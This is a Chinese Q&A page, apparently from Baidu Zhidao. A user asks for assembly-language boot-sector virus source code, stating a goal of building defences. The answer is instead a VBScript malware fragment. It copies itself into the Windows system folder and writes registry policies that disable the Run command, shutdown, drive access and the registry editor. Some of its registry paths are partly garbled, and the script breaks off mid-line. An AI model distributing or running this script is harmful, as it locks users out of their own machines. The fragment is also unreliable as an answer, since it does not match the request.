求人发个用汇编语言编写的引导型病毒的源代码

来源：百度知道 编辑：UC知道 时间：2024/05/28 15:36:31
谁能发一个用汇编语言编写的引导型病毒的源代码，最好有中文注释，最近在研究这个，打算自己写个反引导病毒的方法，希望有病毒知识的拿个出来，非常谢谢！

On Error Resume Next
Set fs=createObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=createObject("Scripting.FileSystemObject")
dim r
Set r=createObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\tlzh.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policie*\**plorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policie*\**plorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policie*\**plorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD